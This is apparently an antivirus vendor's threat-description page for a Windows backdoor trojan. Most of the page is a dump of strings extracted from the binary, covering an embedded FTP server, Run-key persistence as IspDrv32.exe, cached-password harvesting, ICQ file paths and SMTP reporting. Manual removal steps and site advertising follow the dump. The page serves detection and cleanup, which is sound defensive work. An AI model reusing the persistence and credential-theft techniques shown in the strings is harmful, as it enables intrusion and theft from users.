MsgWaitForMultipleObjects
SetWindowsHookExA
UnhookWindowsHookEx
.text
`.data
.rdata
P.idata
@.edata
@.rsrc
@.reloc
: 5.3.0A
:5/26/99
KERNEL32.DLL
ADVAPI32.DLL
AVICAP32.DLL
COMCTL32.DLL
GDI32.DLL
MPR.DLL
OLE32.DLL
OLEAUT32.DLL
RASAPI32.DLL
SHELL32.DLL
WINMM.DLL
WSOCK32.DLL
JPEG error #%d
External exception %x
Interface not supported
%s (%s, line %d)
Abstract Error?Access violation at address %p in module '%s'. %s of address %p
Win32 Error. Code: %d.
Invalid class typecast0Access violation at address %p. %s of address %p
Operation aborted%Exception %s in module %s at %p.
Application Error1Format '%s' invalid or incompatible with argument
No argument for format '%s'
Invalid variant operation"Variant method calls not supported
I/O error %d
Integer overflow Invalid floating point operation
Invalid pointer operation
/Menu '%s' is already being used by another form*Windows socket error: %s (%d), on API '%s'
Asynchronous socket error %d
- Dock zone has no control%List does not allow duplicates ($0%x)!'%s' is not a valid integer value
Invalid file name - %s
Unable to insert a line Clipboard does not support Icons
Invalid data type for '%s'
Failed to create key %s
Failed to set data for '%s'
Failed to get data for '%s'
Error creating window class Cannot focus a disabled or invisible window!Control '%s' has no parent window
$''%s'' is not a valid component name
A class named %s already exists
Error reading %s%s%s: %s
Ancestor for '%s' not found
Scan line index out of range!Cannot change the size of an icon$Unknown picture file extension (.%s)
Unsupported clipboard format
Cannot assign a %s to a %s
Cannot create file %s
Cannot open file %s
Class %s not found
Resource %s not found
List index out of bounds (%d) List capacity out of bounds (%d)
List count out of bounds (%d) Operation not allowed on sorted string list%String list does not allow duplicates#A component named %s already exists
1.0.1.0
Isp32Link.exe

%original file name%.exe_1748_rwx_00401000_000D2000:

Portuguese
DUNA_Key
Opening port
Port opened
Authentication: change password
Password expired
se port
Port otev
Abrindo a porta
Porta aberta
rasapi32.dll
Error opening rasapi.dll
rnaph.dll
Error opening rnaph.dll
Port
LocalPort
PeerPort
SocksPort
SocksPassword
wsock32.dll
%s: WSAStartup error #%d
Cannot change Port if not closed
Cannot change LocalPort if not closed
255.255.255.255
WSocketResolveHost: Cannot convert host address '%s'
WSocketResolvePort: Invalid Port.
WSocketResolvePort: Cannot convert port '%s'
Uh.uA
WSocketResolveProto: Cannot convert protocol '%s'
GetPeerPort
%s: can't start DNS lookup, error #%d
winsock.bind failed, error #%d
winsock.getsockname failed, error #%d
Connect: No Port Specified
listen: port not assigned
Winsock.GetHostName failed
Operation would block
Operation now in progress
Operation already in progress
Socket operation on non-socket
Protocol not supported
Socket type not supported
Operation not supported on socket
Protocol family not supported
Address family not supported by protocol family
WinSock DLL cannot support this application
Can't change socks port if not closed
listening is not supported thru socks server
tcp is the only protocol supported thru socks server
0.0.0.1
command not supported
address type not supported
TFtpString
TFtpServer (c) 1998-2000 F. Piette V1.08
FtpServerException
FtpSrv
TFtpSrvAuthenticateEvent
TFtpCtrlSocket
Password
TFtpSrvChangeDirectoryEvent
TFtpSrvBuildDirectoryEvent
TFtpSrvClientConnectEvent
TFtpSrvDataSessionConnectedEvent
TFtpSrvClientCommandEvent
Keyword
TFtpSrvAnswerToClientEvent
TFtpStringp
TFtpSrvValidateXferEvent
TFtpSrvDataAvailableEvent
TFtpSrvRetrDataSentEvent
TFtpSrvCommandProc
TFtpSrvCommandTableItem
TFtpServer
0.0.0.0
220 ICS FTP Server ready.
PORT
500 '%s': command not understood.
331 Password required for %s.
503 Login with USER first.
230 User %s logged in.
530 Login incorrect.
$530 Please login with USER and PASS.
250 CWD command successful. "%s" is current directory.
501 CWD failed. %s
257 "%s" is current directory.
200 Port command successful.
501 Invalid PORT command.
150 Opening data connection for %s.
501 Cannot STOR. %s
ftp-data
426 Connection closed; %s.
426 Connection closed; transfer aborted. Error #%d
501 Cannot RETR. %s
451 Failed: %s.
1 ftp ftp
%s %2.2d
200 Type set to %s.
500 'TYPE %s': command not understood.
250 File '%s' deleted.
450 File '%s' can't be deleted.
550 '%s': no such file or directory.
213 %d
550 Command failed: %s.
350 REST supported. Ready to resume at byte offset %d.
501 Syntax error in parameter: %s.
553 '%s': file already exists.
250 File '%s' renamed to '%s'.
450 File '%s' can't be renamed.
200 Ok. Parameter was '%s'.
550 '%s': can't create directory.
550 '%s': file or directory already exists.
257 '%s': directory created.
150 APPE supported. Ready to append file "%s" at offset %d.
200 Ok. STRU parameter '%s' ignored.
550 '%s': no such directory.
250 '%s': directory removed.
550 '%s': can't remove directory.
227 Entering Passive Mode (127,0,0,1,%d,%d).
227 Entering Passive Mode (%d,%d,%d,%d,%d,%d).
500 PASV exception: '%s'.
213 %s
550 %s
FtpSrvT (c) 1999-2000 F. Piette V1.02
TFtpCtrlSocket (c) 1998-2000 F. Piette V1.06
EFtpCtrlSocketExceptionxHB
EFtpCtrlSocketException\HB
FtpSrvC
TFtpCtrlState
ftpcInvalid
ftpcWaitingUserCode
ftpcWaitingPassword
ftpcReady
ftpcWaitingAnswer
TFtpCmdType
ftpcPORT
ftpcSTOR
ftpcRETR
ftpcCWD
ftpcXPWD
ftpcPWD
ftpcUSER
ftpcPASS
ftpcLIST
ftpcRMD
ftpcTYPE
ftpcSYST
ftpcQUIT
ftpcDELE
ftpcRNFR
ftpcMKD
ftpcRNTO
ftpcNOOP
ftpcNLST
ftpcABOR
ftpcCDUP
ftpcSIZE
ftpcREST
ftpcAPPE
ftpcSTRU
ftpcMDTM JB
TFtpOption
ftpcUNC
TFtpOptions
CmdBuf
CmdLen
TFtpCtrlSocket KB
FtpState
PassWord
220-ICS FTP Server ready
C:\TEMP\
OnKeyDown
OnKeyPress
OnKeyUp
%s: %s
%s:%s
Operation
ErrMsg
TNMURL
TNMURLx
NMURL
ReportLevel
Errmsg
Max Udp pack size=
Initializaton of windows sockets failed
%d.%d.%d.%d
,%d,%d
CmdType
CmdGET
CmdOPTIONS
CmdHEAD
CmdPOST
CmdPUT
CmdPATCH
CmdCOPY
CmdMOVE
CmdDELETE
CmdLINK
CmdUNLINK
CmdTRACE
CmdWRAPPED
HTTPException
NMHttp
TNMHTTP
ProxyPort
Head.txt
Default.htm
Send.dat
hXXp://
Empty URL
https
HTTP Secure Socket is not supported
HTTP/1.0
Content-type: application/x-www-form-urlencoded
Uh|%C
Uh_%C
UhB%C
ThreadCacheSizexEC
PasswordChar
ssHorizontal
AutoHotkeys,
AutoHotkeysp
:].tJ
Uh.LD
EInvalidGraphicOperation
KeyPreview
WindowState,
ssHotTrack
TWindowState
poProportional
TWMKey
Uh.JE
System\CurrentControlSet\Control\Keyboard Layouts\%.8x
vcltest3.dll
TDragOperation
TKeyEvent
TKeyPressEvent
crSQLWait
%s (%s)
IMM32.DLL
EInvalidOperation
%s[%d]
%s_%d
USER32.DLL
comctl32.dll
MSWHEEL_ROLLMSG
MSH_WHEELSUPPORT_MSG
MSH_SCROLL_LINES_MSG
kernel32.dll
Portions Copyright (c) 1983,99 Borland
XTRASERV.EXE
127.0.0.1
\sf.dat
111File Executed.
SMTP Server
SMTP Server =
SMTP Display Name
SMTP Display Name =
SMTP Email Address
SMTP Email Address =
c:\program files\icq\uin\*.uin
\SOFTWARE\Microsoft\Windows\CurrentVersion\
Windows 95
Windows 98
ProductKey
555Windows directory is -
\sshh.dat
iexplore.exe
\cds.dat
501cds.dat
\cdl.dat
501cdl.dat
\cc.jpg
111Wrong password entered.
111Unable to execute module -
111Wrong password
111Executing
On Port
\def.bmp
drwxrwxrwx 1 ftp ftp 0 Apr 30 19:00 *VIRTUAL
C:\VIRTUAL\
-rwxrwxrwx 1 ftp ftp 0 Apr 30 19:00 *FORBIDEN
-rwxrwxrwx 1 ftp ftp 0 Apr 30 19:00 *TEST
drwxrwxrwx 1 ftp ftp 0 Apr 30 19:00 *SOME DIR
193.121.12.25
C:\VIRTUAL\FORBIDEN
This is a file created on the fly by the FTP server
Software\Microsoft\Windows\CurrentVersion\Run
IspDrv32.exe
Password:
\IspDrv32.exe
IspDll32.exe
NetCtrl32.exe
WinInetMsg
WinInetMsg.exe
mpr.dll
WNetEnumCachedPasswords
Couldn't import function. This program is for Windows 95 only
Cached Passwords.
No passwords found.
End of cached passwords..
[email protected]&subject=Notice
][PortNumber[
hXXp://wwp.mirabilis.com/scripts/WWPMsg.dll
%s\%s
\SOFTWARE\WebX\
Software\WebX\
NMHTTP1
FtpSer
FtpSerAuthenticate
FtpSerAlterDirectory
FtpSerBuildDirectory
FtpSerChangeDirectory
FtpSerClientConnect
FtpSerRetrSessionClosed!
FtpSerRetrSessionConnected
FtpSerValidateDele
FtpSerValidateGet
FtpSerValidatePut
FtpSerMakeDirectory
NMHTTP1Failure
FtpSerValidateRnFr
FtpSerValidateRnTo
NMHTTP1Success
NMHTTP1InvalidHost
NMHTTP1ConnectionFailed
FtpSerClientDisconnect
NMHTTP1Redirect
!Operation not supported on socket
/Address family not supported by protocol family
#Incompatible version of WINSOCK.DLL
?456789:;<=
!"#$%&'()* ,-./0123
xxtype.cpp
derv->tpClass.tpcFlags & CF_HAS_BASES
Inappropriate I/O control operation
Broken pipe
Operation not permitted
%H:%M:%S
%m/%d/%y
%A, %B %d, %Y
d/d/d d:d:d.d
xx.cpp
varType->tpClass.tpcFlags & CF_HAS_DTOR
varType->tpClass.tpcDtorAddr
(errPtr->ERRcInitDtc >= varType->tpClass.tpcDtorCount) || flags
memType->tpClass.tpcFlags & CF_HAS_DTOR
varType->tpArr.tpaElemType->tpClass.tpcFlags & CF_HAS_DTOR
dttPtr->dttType->tpPtr.tppBaseType->tpClass.tpcFlags & CF_HAS_DTOR
IS_CLASS(dttPtr->dttType->tpMask) && (dttPtr->dttType->tpClass.tpcFlags & CF_HAS_DTOR)
elemType->tpClass.tpcFlags & CF_HAS_DTOR
Update.exe
@$xp$12Nmurl@TNMURL
@$xp$14Nmhttp@CmdType
@$xp$14Nmhttp@TNMHTTP
@$xp$16Ftpsrv@FtpSrv__3
@$xp$17Ftpsrv@TFtpServer
@$xp$17Ftpsrv@TFtpString
@$xp$18Ftpsrvc@TFtpOption
@$xp$18Nmhttp@THeaderInfo
@$xp$19Ftpsrvc@TFtpCmdType
@$xp$19Ftpsrvc@TFtpOptions
@$xp$19Nmhttp@TResultEvent
@$xp$19Nmurl@TOnErrorEvent
@$xp$20Nmhttp@HTTPException
@$xp$21Ftpsrvc@TCommandEvent
@$xp$21Ftpsrvc@TDisplayEvent
@$xp$21Ftpsrvc@TFtpCtrlState
@$xp$22Ftpsrvc@TFtpCtrlSocket
@$xp$25Ftpsrv@FtpServerException
@$xp$25Ftpsrv@TFtpSrvCommandProc
@$xp$26Ftpsrv@TFtpCtrlSocketClass
@$xp$30Ftpsrv@TFtpSrvCommandTableItem
@$xp$31Ftpsrv@TFtpSrvAuthenticateEvent
@$xp$31Ftpsrv@TFtpSrvRetrDataSentEvent
@$xp$31Ftpsrv@TFtpSrvValidateXferEvent
@$xp$31Ftpsrvc@EFtpCtrlSocketException
@$xp$32Ftpsrv@TFtpSrvClientCommandEvent
@$xp$32Ftpsrv@TFtpSrvClientConnectEvent
@$xp$32Ftpsrv@TFtpSrvDataAvailableEvent
@$xp$33Ftpsrv@TFtpSrvAnswerToClientEvent
@$xp$33Ftpsrv@TFtpSrvBuildDirectoryEvent
@$xp$34Ftpsrv@TFtpSrvChangeDirectoryEvent
@$xp$39Ftpsrv@TFtpSrvDataSessionConnectedEvent
@Ftpsrv@CopyRight
@Ftpsrv@Finalization$qqrv
@Ftpsrv@FtpServerException@
@Ftpsrv@Register$qqrv
@Ftpsrv@TFtpServer@
@Ftpsrv@TFtpServer@$bctr$qqrp18Classes@TComponent
@Ftpsrv@TFtpServer@$bdtr$qqrv
@Ftpsrv@TFtpServer@AddCommand$qqrx17System@AnsiStringxynpqqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2$v
@Ftpsrv@TFtpServer@BuildDirectory$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%p15Classes@TStreamo
@Ftpsrv@TFtpServer@ClientCommand$qqrp14System@TObjectpci
@Ftpsrv@TFtpServer@ClientDataSent$qqrp14System@TObjectus
@Ftpsrv@TFtpServer@ClientPassiveSessionAvailable$qqrp14System@TObjectus
@Ftpsrv@TFtpServer@ClientRetrDataSent$qqrp14System@TObjectus
@Ftpsrv@TFtpServer@ClientRetrSessionClosed$qqrp14System@TObjectus
@Ftpsrv@TFtpServer@ClientRetrSessionConnected$qqrp14System@TObjectus
@Ftpsrv@TFtpServer@ClientSessionClosed$qqrp14System@TObjectus
@Ftpsrv@TFtpServer@ClientStorDataAvailable$qqrp14System@TObjectus
@Ftpsrv@TFtpServer@ClientStorSessionClosed$qqrp14System@TObjectus
@Ftpsrv@TFtpServer@ClientStorSessionConnected$qqrp14System@TObjectus
@Ftpsrv@TFtpServer@CommandABOR$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2
@Ftpsrv@TFtpServer@CommandAPPE$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2
@Ftpsrv@TFtpServer@CommandCDUP$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2
@Ftpsrv@TFtpServer@CommandCWD$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2
@Ftpsrv@TFtpServer@CommandChangeDir$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2
@Ftpsrv@TFtpServer@CommandDELE$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2
@Ftpsrv@TFtpServer@CommandDirectory$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2o
@Ftpsrv@TFtpServer@CommandLIST$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2
@Ftpsrv@TFtpServer@CommandMDTM$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2
@Ftpsrv@TFtpServer@CommandMKD$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2
@Ftpsrv@TFtpServer@CommandNLST$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2
@Ftpsrv@TFtpServer@CommandNOOP$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2
@Ftpsrv@TFtpServer@CommandPASS$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2
@Ftpsrv@TFtpServer@CommandPASV$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2
@Ftpsrv@TFtpServer@CommandPORT$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2
@Ftpsrv@TFtpServer@CommandPWD$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2
@Ftpsrv@TFtpServer@CommandQUIT$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2
@Ftpsrv@TFtpServer@CommandREST$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2
@Ftpsrv@TFtpServer@CommandRETR$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2
@Ftpsrv@TFtpServer@CommandRMD$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2
@Ftpsrv@TFtpServer@CommandRNFR$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2
@Ftpsrv@TFtpServer@CommandRNTO$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2
@Ftpsrv@TFtpServer@CommandSIZE$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2
@Ftpsrv@TFtpServer@CommandSTOR$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2
@Ftpsrv@TFtpServer@CommandSTRU$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2
@Ftpsrv@TFtpServer@CommandSYST$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2
@Ftpsrv@TFtpServer@CommandTYPE$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2
@Ftpsrv@TFtpServer@CommandUSER$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2
@Ftpsrv@TFtpServer@CommandXPWD$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2
@Ftpsrv@TFtpServer@DisconnectAll$qqrv
@Ftpsrv@TFtpServer@GetActive$qqrv
@Ftpsrv@TFtpServer@GetClientCount$qqrv
@Ftpsrv@TFtpServer@Notification$qqrp18Classes@TComponent18Classes@TOperation
@Ftpsrv@TFtpServer@SendAnswer$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%
@Ftpsrv@TFtpServer@SendNextDataChunk$qqrp22Ftpsrvc@TFtpCtrlSocketp16Wsocket@TWSocket
@Ftpsrv@TFtpServer@ServSocketSessionAvailable$qqrp14System@TObjectus
@Ftpsrv@TFtpServer@ServSocketStateChange$qqrp14System@TObject20Wsocket@TSocketStatet2
@Ftpsrv@TFtpServer@SetActive$qqro
@Ftpsrv@TFtpServer@Start$qqrv
@Ftpsrv@TFtpServer@StartSendData$qqrp22Ftpsrvc@TFtpCtrlSocket
@Ftpsrv@TFtpServer@Stop$qqrv
@Ftpsrv@TFtpServer@TriggerAlterDirectory$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%o
@Ftpsrv@TFtpServer@TriggerAuthenticate$qqrp22Ftpsrvc@TFtpCtrlSocket17System@AnsiStringt2ro
@Ftpsrv@TFtpServer@TriggerBuildDirectory$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%o
@Ftpsrv@TFtpServer@TriggerChangeDirectory$qqrp22Ftpsrvc@TFtpCtrlSocket17System@AnsiStringro
@Ftpsrv@TFtpServer@TriggerClientCommand$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%t2t2
@Ftpsrv@TFtpServer@TriggerClientConnect$qqrp22Ftpsrvc@TFtpCtrlSocketus
@Ftpsrv@TFtpServer@TriggerClientDisconnect$qqrp22Ftpsrvc@TFtpCtrlSocketus
@Ftpsrv@TFtpServer@TriggerMakeDirectory$qqrp22Ftpsrvc@TFtpCtrlSocket17System@AnsiStringro
@Ftpsrv@TFtpServer@TriggerRetrDataSent$qqrp22Ftpsrvc@TFtpCtrlSocketp16Wsocket@TWSocketus
@Ftpsrv@TFtpServer@TriggerRetrSessionClosed$qqrp22Ftpsrvc@TFtpCtrlSocketp16Wsocket@TWSocketus
@Ftpsrv@TFtpServer@TriggerRetrSessionConnected$qqrp22Ftpsrvc@TFtpCtrlSocketp16Wsocket@TWSocketus
@Ftpsrv@TFtpServer@TriggerSendAnswer$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%
@Ftpsrv@TFtpServer@TriggerServerStart$qqrv
@Ftpsrv@TFtpServer@TriggerServerStop$qqrv
@Ftpsrv@TFtpServer@TriggerStorDataAvailable$qqrp22Ftpsrvc@TFtpCtrlSocketp16Wsocket@TWSocketpcius
@Ftpsrv@TFtpServer@TriggerStorSessionClosed$qqrp22Ftpsrvc@TFtpCtrlSocketp16Wsocket@TWSocketus
@Ftpsrv@TFtpServer@TriggerStorSessionConnected$qqrp22Ftpsrvc@TFtpCtrlSocketp16Wsocket@TWSocketus
@Ftpsrv@TFtpServer@TriggerValidateDele$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%ro
@Ftpsrv@TFtpServer@TriggerValidateGet$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%ro
@Ftpsrv@TFtpServer@TriggerValidatePut$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%ro
@Ftpsrv@TFtpServer@TriggerValidateRnFr$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%ro
@Ftpsrv@TFtpServer@TriggerValidateRnTo$qqrp22Ftpsrvc@TFtpCtrlSocketr28System@%SmallString$iuc$255%ro
@Ftpsrv@TFtpServer@WMFtpSrvAbortTransfer$qqrr17Messages@TMessage
@Ftpsrv@TFtpServer@WMFtpSrvClientClosed$qqrr17Messages@TMessage
@Ftpsrv@TFtpServer@WMFtpSrvCloseData$qqrr17Messages@TMessage
@Ftpsrv@TFtpServer@WMFtpSrvCloseRequest$qqrr17Messages@TMessage
@Ftpsrv@TFtpServer@WndProc$qqrr17Messages@TMessage
@Ftpsrv@initialization$qqrv
@Ftpsrvc@CopyRight
@Ftpsrvc@EFtpCtrlSocketException@
@Ftpsrvc@Finalization$qqrv
@Ftpsrvc@IsUNC$qqr17System@AnsiString
@Ftpsrvc@PatchIE5$qqrr17System@AnsiString
@Ftpsrvc@TFtpCtrlSocket@
@Ftpsrvc@TFtpCtrlSocket@$bctr$qqrp18Classes@TComponent
@Ftpsrvc@TFtpCtrlSocket@$bdtr$qqrv
@Ftpsrvc@TFtpCtrlSocket@Dup$qqri
@Ftpsrvc@TFtpCtrlSocket@GetPeerAddr$qqrv
@Ftpsrvc@TFtpCtrlSocket@SendAnswer$qqr17System@AnsiString
@Ftpsrvc@TFtpCtrlSocket@SetAbortingTransfer$qqro
@Ftpsrvc@TFtpCtrlSocket@SetDirectory$qqr17System@AnsiString
@Ftpsrvc@TFtpCtrlSocket@SetRcvSize$qqri
@Ftpsrvc@TFtpCtrlSocket@StartConnection$qqrv
@Ftpsrvc@TFtpCtrlSocket@TriggerCommand$qqrpci
@Ftpsrvc@TFtpCtrlSocket@TriggerDataAvailable$qqrus
@Ftpsrvc@TFtpCtrlSocket@TriggerSessionConnected$qqrus
@Ftpsrvc@initialization$qqrv
@Ftpsrvt@CopyRight
@Ftpsrvt@FileUtcStr$qqr17System@AnsiString
@Ftpsrvt@Finalization$qqrv
@Ftpsrvt@initialization$qqrv
@Nmhttp@Finalization$qqrv
@Nmhttp@HTTPException@
@Nmhttp@THeaderInfo@
@Nmhttp@TNMHTTP@
@Nmhttp@TNMHTTP@$bctr$qqrp18Classes@TComponent
@Nmhttp@TNMHTTP@$bdtr$qqrv
@Nmhttp@TNMHTTP@Abort$qqrv
@Nmhttp@TNMHTTP@AssembleHTTPHeader$qqrv
@Nmhttp@TNMHTTP@Copy$qqr17System@AnsiStringt1
@Nmhttp@TNMHTTP@Delete$qqr17System@AnsiString
@Nmhttp@TNMHTTP@Get$qqr17System@AnsiString
@Nmhttp@TNMHTTP@HTTPConnect$qqrv
@Nmhttp@TNMHTTP@Head$qqr17System@AnsiString
@Nmhttp@TNMHTTP@Link$qqr17System@AnsiStringt1
@Nmhttp@TNMHTTP@Move$qqr17System@AnsiStringt1
@Nmhttp@TNMHTTP@Options$qqr17System@AnsiString
@Nmhttp@TNMHTTP@ParseURL$qqrv
@Nmhttp@TNMHTTP@Patch$qqr17System@AnsiStringt1
@Nmhttp@TNMHTTP@Post$qqr17System@AnsiStringt1
@Nmhttp@TNMHTTP@Put$qqr17System@AnsiStringt1
@Nmhttp@TNMHTTP@RemoveHeader$qqrv
@Nmhttp@TNMHTTP@SendHTTP$qqrv
@Nmhttp@TNMHTTP@Trace$qqr17System@AnsiStringt1
@Nmhttp@TNMHTTP@UnLink$qqr17System@AnsiStringt1
@Nmhttp@TNMHTTP@Wrapped$qqr17System@AnsiStringt1
@Nmhttp@initialization$qqrv
@Nmurl@Finalization$qqrv
@Nmurl@TNMURL@
@Nmurl@TNMURL@$bctr$qqrp18Classes@TComponent
@Nmurl@TNMURL@$bdtr$qqrv
@Nmurl@TNMURL@GetDecodeString$qqrv
@Nmurl@TNMURL@GetEncodeString$qqrv
@Nmurl@TNMURL@URLDecode$qqrx17System@AnsiString
@Nmurl@TNMURL@URLEncode$qqrx17System@AnsiString
@Nmurl@initialization$qqrv
@Psock@InstantiateServethread@Execute$qqrv
@Psock@TPowersock@CertifyConnect$qqrv
@Psock@TPowersock@GetPortString$qqrv
@Wsocket@TCustomSocksWSocket@SetSocksPort$qqr17System@AnsiString
@Wsocket@TCustomWSocket@GetPeerPort$qqrv
@Wsocket@TCustomWSocket@GetRemotePort$qqrv
@Wsocket@TCustomWSocket@GetXPort$qqrv
@Wsocket@TCustomWSocket@Notification$qqrp18Classes@TComponent18Classes@TOperation
@Wsocket@TCustomWSocket@SetLocalPort$qqr17System@AnsiString
@Wsocket@TCustomWSocket@SetRemotePort$qqr17System@AnsiString
@Wsocket@WSocketResolvePort$qqr17System@AnsiStringt1
333333333333333333
33333833
3333339
3333333333333338
:*"*"$3338
3333333
33333333
33333333333
3333333333338
33338?383
333333333333
:*3:"$3338
333333333333333
Font.Charset
Font.Color
Font.Height
Font.Name
Font.Style
1-888-2-GET-WEB (In USA)
E-mail [email protected]
hXXp://VVV.netmastersllc.com
Picture.Data
[.QRh
\E.Rhj
! Obtain Support and Source Code
,Version: 5.3.0 Build:1055 Date:5/26/99
Submit Bug Report
HorzScrollBar.Visible
VertScrollBar.Visible
(Port IP scanner.Scan detected. IP logged
FtpSerRetrSessionClosed
GetCPInfo
GetProcessHeap
GetWindowsDirectoryA
RegCloseKey
RegCreateKeyExA
RegDeleteKeyA
RegEnumKeyExA
RegFlushKey
RegOpenKeyExA
RegQueryInfoKeyA
SetViewportOrgEx
ShellExecuteA
ActivateKeyboardLayout
EnumThreadWindows
EnumWindows
ExitWindowsEx
GetKeyNameTextA
GetKeyState
GetKeyboardLayout
GetKeyboardLayoutList
GetKeyboardState
GetKeyboardType
LoadKeyboardLayoutA
MapVirtualKeyA
MsgWaitForMultipleObjects
SetWindowsHookExA
UnhookWindowsHookEx
.text
`.data
.rdata
P.idata
@.edata
@.rsrc
@.reloc
: 5.3.0A
:5/26/99
JPEG error #%d
External exception %x
Interface not supported
%s (%s, line %d)
Abstract Error?Access violation at address %p in module '%s'. %s of address %p
Win32 Error. Code: %d.
Invalid class typecast0Access violation at address %p. %s of address %p
Operation aborted%Exception %s in module %s at %p.
Application Error1Format '%s' invalid or incompatible with argument
No argument for format '%s'
Invalid variant operation"Variant method calls not supported
I/O error %d
Integer overflow Invalid floating point operation
Invalid pointer operation
/Menu '%s' is already being used by another form*Windows socket error: %s (%d), on API '%s'
Asynchronous socket error %d
- Dock zone has no control%List does not allow duplicates ($0%x)!'%s' is not a valid integer value
Invalid file name - %s
Unable to insert a line Clipboard does not support Icons
Invalid data type for '%s'
Failed to create key %s
Failed to set data for '%s'
Failed to get data for '%s'
Error creating window class Cannot focus a disabled or invisible window!Control '%s' has no parent window
$''%s'' is not a valid component name
A class named %s already exists
Error reading %s%s%s: %s
Ancestor for '%s' not found
Scan line index out of range!Cannot change the size of an icon$Unknown picture file extension (.%s)
Unsupported clipboard format
Cannot assign a %s to a %s
Cannot create file %s
Cannot open file %s
Class %s not found
Resource %s not found
List index out of bounds (%d) List capacity out of bounds (%d)
List count out of bounds (%d) Operation not allowed on sorted string list%String list does not allow duplicates#A component named %s already exists


Remove it with Ad-Aware

  1. Click (here) to download and install Ad-Aware Free Antivirus.
  2. Update the definition files.
  3. Run a full scan of your computer.


Manual removal*

  1. Terminate malicious process(es) (How to End a Process With the Task Manager):No processes have been created.
  2. Delete the original Generic file.
  3. Delete or disinfect the following files created/modified by the Generic:

    %WinDir%\IspDrv32.exe (4275 bytes)

  4. Delete the following value(s) in the autorun key (How to Work with System Registry):

    [HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
    "IspStatus" = "IspDrv32.exe"

  5. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
  6. Reboot the computer.

*Manual removal may cause unexpected system behaviour and should be performed at your own risk.

No votes yet


Lavasoft is the maker of Ad-Aware, the world's most popular anti-malware software with over 450 million downloads.
© 2026 Lavasoft. All rights reserved.
Terms Of Use |   Privacy Policy


x

Our best antivirus yet!

Fresh new look. Faster scanning. Better protection.

Enjoy unique new features, lightning fast scans and a simple yet beautiful new look in our best antivirus yet!

For a quicker, lighter and more secure experience, download the all new adaware antivirus 12 now!

Download adaware antivirus 12
No thanks, continue to lavasoft.com
close x

Discover the new adaware antivirus 12

Our best antivirus yet

Download Now